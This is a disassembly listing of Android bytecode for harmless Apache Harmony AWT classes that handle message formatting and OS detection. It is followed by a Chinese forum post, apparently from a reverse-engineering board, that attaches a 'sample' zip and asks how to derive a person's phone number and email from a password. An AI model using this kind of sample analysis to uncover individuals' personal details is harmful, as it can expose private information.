0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v4, v2
00000082 move-result-object v2
00000084 invoke-virtual StringBuilder->toString()String, v2
0000008A move-result-object v2
0000008C invoke-direct DataFlavor-><init>(String, String)V, v3, v2, v1
00000092 invoke-virtual SystemFlavorMap->addFlavorForUnencodedNative(String, DataFlavor)V, p0, p1, v3
00000098 invoke-virtual SystemFlavorMap->addUnencodedNativeForFlavor(DataFlavor, String)V, p0, v3, p1
0000009E add-int/lit8 v0, v0, 0x1
000000A2 goto :2
.end method
#--------------------------------------------------------------------------------
.class Messages$1
.super Object
.source ""
.implements PrivilegedAction
.field private final synthetic val$loader:ClassLoader
.field private final synthetic val$locale:Locale
.field private final synthetic val$resource:String
.method constructor <init>(String, Locale, ClassLoader)V
.registers 4
00000000 iput-object p1, p0, Messages$1->val$resource:String
00000004 iput-object p2, p0, Messages$1->val$locale:Locale
00000008 iput-object p3, p0, Messages$1->val$loader:ClassLoader
0000000C invoke-direct Object-><init>()V, p0
00000012 return-void
.end method
.method public run()Object
.registers 4
00000000 iget-object v1, p0, Messages$1->val$resource:String
00000004 iget-object v2, p0, Messages$1->val$locale:Locale
00000008 iget-object v0, p0, Messages$1->val$loader:ClassLoader
0000000C if-eqz v0, :1E
:10
00000010 iget-object v0, p0, Messages$1->val$loader:ClassLoader
:14
00000014 invoke-static ResourceBundle->getBundle(String, Locale, ClassLoader)ResourceBundle, v1, v2, v0
0000001A move-result-object v0
0000001C return-object v0
:1E
0000001E invoke-static ClassLoader->getSystemClassLoader()ClassLoader
00000024 move-result-object v0
00000026 goto :14
.end method
#--------------------------------------------------------------------------------
.class public Messages
.super Object
.source ""
.field private static bundle:ResourceBundle
.method static constructor <clinit>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 sput-object v0, Messages->bundle:ResourceBundle
:6
00000006 invoke-static Locale->getDefault()Locale
0000000C move-result-object v0
0000000E const-string v1, "org.apache.harmony.awt.internal.nls.messages"
00000012 invoke-static Messages->setLocale(Locale, String)ResourceBundle, v0, v1
00000018 move-result-object v0
0000001A sput-object v0, Messages->bundle:ResourceBundle
:1E
0000001E return-void
:20
00000020 move-exception v0
00000022 invoke-virtual Throwable->printStackTrace()V, v0
00000028 goto :1E
.catch Throwable {:6 .. :1E} :20
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static format(String, [Object)String
.registers 11
00000000 const/16 v7, 0x7B
00000004 const/4 v1, 0x0
00000006 new-instance v2, StringBuilder
0000000A invoke-virtual String->length()I, p0
00000010 move-result v0
00000012 array-length v3, p1
00000014 mul-int/lit8 v3, v3, 0x14
00000018 add-int/2addr v0, v3
0000001A invoke-direct StringBuilder-><init>(I)V, v2, v0
00000020 array-length v0, p1
00000022 new-array v3, v0, [String
00000026 move v0, v1
:28
00000028 array-length v4, p1
0000002A if-lt v0, v4, :66
:2E
0000002E invoke-virtual String->indexOf(I, I)I, p0, v7, v1
00000034 move-result v0
:36
00000036 if-gez v0, :8E
:3A
0000003A invoke-virtual String->length()I, p0
00000040 move-result v0
00000042 if-ge v1, v0, :5C
:46
00000046 invoke-virtual String->length()I, p0
0000004C move-result v0
0000004E invoke-virtual String->substring(I, I)String, p0, v1, v0
00000054 move-result-object v0
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
:5C
0000005C invoke-virtual StringBuilder->toString()String, v2
00000062 move-result-object v0
00000064 return-object v0
:66
00000066 aget-object v4, p1, v0
0000006A if-nez v4, :7C
:6E
0000006E const-string v4, "<null>"
00000072 aput-object v4, v3, v0
:76
00000076 add-int/lit8 v0, v0, 0x1
0000007A goto :28
:7C
0000007C aget-object v4, p1, v0
00000080 invoke-virtual Object->toString()String, v4
00000086 move-result-object v4
00000088 aput-object v4, v3, v0
0000008C goto :76
:8E
0000008E if-eqz v0, :D8
:92
00000092 add-int/lit8 v4, v0, 0xFFFFFFFFFFFFFFFF
00000096 invoke-virtual String->charAt(I)C, p0, v4
0000009C move-result v4
0000009E const/16 v5, 0x5C
000000A2 if-ne v4, v5, :D8
:A6
000000A6 const/4 v4, 0x1
000000A8 if-eq v0, v4, :BE
:AC
000000AC add-int/lit8 v4, v0, 0xFFFFFFFFFFFFFFFF
000000B0 invoke-virtual String->substring(I, I)String, p0, v1, v4
000000B6 move-result-object v1
000000B8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
:BE
000000BE invoke-virtual StringBuilder->append(C)StringBuilder, v2, v7
000000C4 add-int/lit8 v0, v0, 0x1
:C8
000000C8 invoke-virtual String->indexOf(I, I)I, p0, v7, v0
000000CE move-result v1
000000D0 move v8, v1
000000D2 move v1, v0
000000D4 move v0, v8
000000D6 goto :36
:D8
000000D8 invoke-virtual String->length()I, p0
000000DE move-result v4
000000E0 add-int/lit8 v4, v4, 0xFFFFFFFFFFFFFFFD
000000E4 if-le v0, v4, :108
:E8
000000E8 invoke-virtual String->length()I, p0
000000EE move-result v0
000000F0 invoke-virtual String->substring(I, I)String, p0, v1, v0
000000F6 move-result-object v0
000000F8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000000FE invoke-virtual String->length()I, p0
00000104 move-result v0
00000106 goto :C8
:108
00000108 add-int/lit8 v4, v0, 0x1
0000010C invoke-virtual String->charAt(I)C, p0, v4
00000112 move-result v4
00000114 const/16 v5, 0xA
00000118 invoke-static Character->digit(C, I)I, v4, v5
0000011E move-result v4
00000120 int-to-byte v4, v4
00000122 if-ltz v4, :13A
:126
00000126 add-int/lit8 v5, v0, 0x2
0000012A invoke-virtual String->charAt(I)C, p0, v5
00000130 move-result v5
00000132 const/16 v6, 0x7D
00000136 if-eq v5, v6, :152
:13A
0000013A add-int/lit8 v4, v0, 0x1
0000013E invoke-virtual String->substring(I, I)String, p0, v1, v4
00000144 move-result-object v1
00000146 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000014C add-int/lit8 v0, v0, 0x1
00000150 goto :C8
:152
00000152 invoke-virtual String->substring(I, I)String, p0, v1, v0
00000158 move-result-object v1
0000015A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000160 array-length v1, v3
00000162 if-lt v4, v1, :176
:166
00000166 const-string v1, "<missing argument>"
0000016A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
:170
00000170 add-int/lit8 v0, v0, 0x3
00000174 goto :C8
:176
00000176 aget-object v1, v3, v4
0000017A invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000180 goto :170
.end method
.method public static getString(String)String
.registers 3
00000000 sget-object v0, Messages->bundle:ResourceBundle
00000004 if-nez v0, :A
:8
00000008 return-object p0
:A
0000000A sget-object v0, Messages->bundle:ResourceBundle
0000000E invoke-virtual ResourceBundle->getString(String)String, v0, p0
:14
00000014 move-result-object p0
00000016 goto :8
:18
00000018 move-exception v0
0000001A new-instance v0, StringBuilder
0000001E const-string v1, "Missing message: "
00000022 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000028 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p0
0000002E move-result-object v0
00000030 invoke-virtual StringBuilder->toString()String, v0
00000036 move-result-object p0
00000038 goto :8
.catch MissingResourceException {:A .. :14} :18
.end method
.method public static getString(String, C)String
.registers 5
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Object
00000006 const/4 v1, 0x0
00000008 invoke-static String->valueOf(C)String, p1
0000000E move-result-object v2
00000010 aput-object v2, v0, v1
00000014 invoke-static Messages->getString(String, [Object)String, p0, v0
0000001A move-result-object v0
0000001C return-object v0
.end method
.method public static getString(String, I)String
.registers 5
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Object
00000006 const/4 v1, 0x0
00000008 invoke-static Integer->toString(I)String, p1
0000000E move-result-object v2
00000010 aput-object v2, v0, v1
00000014 invoke-static Messages->getString(String, [Object)String, p0, v0
0000001A move-result-object v0
0000001C return-object v0
.end method
.method public static getString(String, Object)String
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Object
00000006 const/4 v1, 0x0
00000008 aput-object p1, v0, v1
0000000C invoke-static Messages->getString(String, [Object)String, p0, v0
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public static getString(String, Object, Object)String
.registers 5
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [Object
00000006 const/4 v1, 0x0
00000008 aput-object p1, v0, v1
0000000C const/4 v1, 0x1
0000000E aput-object p2, v0, v1
00000012 invoke-static Messages->getString(String, [Object)String, p0, v0
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public static getString(String, [Object)String
.registers 3
00000000 sget-object v0, Messages->bundle:ResourceBundle
00000004 if-eqz v0, :14
:8
00000008 sget-object v0, Messages->bundle:ResourceBundle
0000000C invoke-virtual ResourceBundle->getString(String)String, v0, p0
:12
00000012 move-result-object p0
:14
00000014 invoke-static Messages->format(String, [Object)String, p0, p1
0000001A move-result-object v0
0000001C return-object v0
:1E
0000001E move-exception v0
00000020 goto :14
.catch MissingResourceException {:8 .. :12} :1E
.end method
.method public static setLocale(Locale, String)ResourceBundle
.registers 5
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
:4
00000004 new-instance v2, Messages$1
00000008 invoke-direct Messages$1-><init>(String, Locale, ClassLoader)V, v2, p1, p0, v0
0000000E invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v2
00000014 move-result-object v0
00000016 check-cast v0, ResourceBundle
:1A
0000001A return-object v0
:1C
0000001C move-exception v0
0000001E move-object v0, v1
00000020 goto :1A
.catch MissingResourceException {:4 .. :1A} :1C
.end method
#--------------------------------------------------------------------------------
.class public SystemUtils
.super Object
.source ""
.field public static final ARC_IA32:I = 0x1
.field public static final ARC_IA64:I = 0x2
.field public static final ARC_UNKNOWN:I = 0xFFFFFFFF
.field public static final OS_LINUX:I = 0x2
.field public static final OS_UNKNOWN:I = 0xFFFFFFFF
.field public static final OS_WINDOWS:I = 0x1
.field private static arc:I
.field private static os:I
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput v0, SystemUtils->os:I
00000006 sput v0, SystemUtils->arc:I
0000000A return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static getOS()I
.registers 3
00000000 sget v0, SystemUtils->os:I
00000004 if-nez v0, :36
:8
00000008 const-string v0, "os.name"
0000000C invoke-static System->getProperty(String)String, v0
00000012 move-result-object v0
00000014 const/4 v1, 0x0
00000016 const/4 v2, 0x3
00000018 invoke-virtual String->substring(I, I)String, v0, v1, v2
0000001E move-result-object v0
00000020 const-string v1, "win"
00000024 invoke-virtual String->compareToIgnoreCase(String)I, v0, v1
0000002A move-result v1
0000002C if-nez v1, :3C
:30
00000030 const/4 v0, 0x1
00000032 sput v0, SystemUtils->os:I
:36
00000036 sget v0, SystemUtils->os:I
0000003A return v0
:3C
0000003C const-string v1, "lin"
00000040 invoke-virtual String->compareToIgnoreCase(String)I, v0, v1
00000046 move-result v0
00000048 if-nez v0, :54
:4C
0000004C const/4 v0, 0x2
0000004E sput v0, SystemUtils->os:I
00000052 goto :36
:54
00000054 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000056 sput v0, SystemUtils->os:I
0000005A goto :36
.end method
#--------------------------------------------------------------------------------
飞雪,我这看了很久帖子这个密码不知道怎么来算他的手机号和邮箱出来的··能否解答下! |
-
-
123.zip
197.97 KB, 下载次数: 15, 下载积分: 吾爱币 -1 CB
样本
|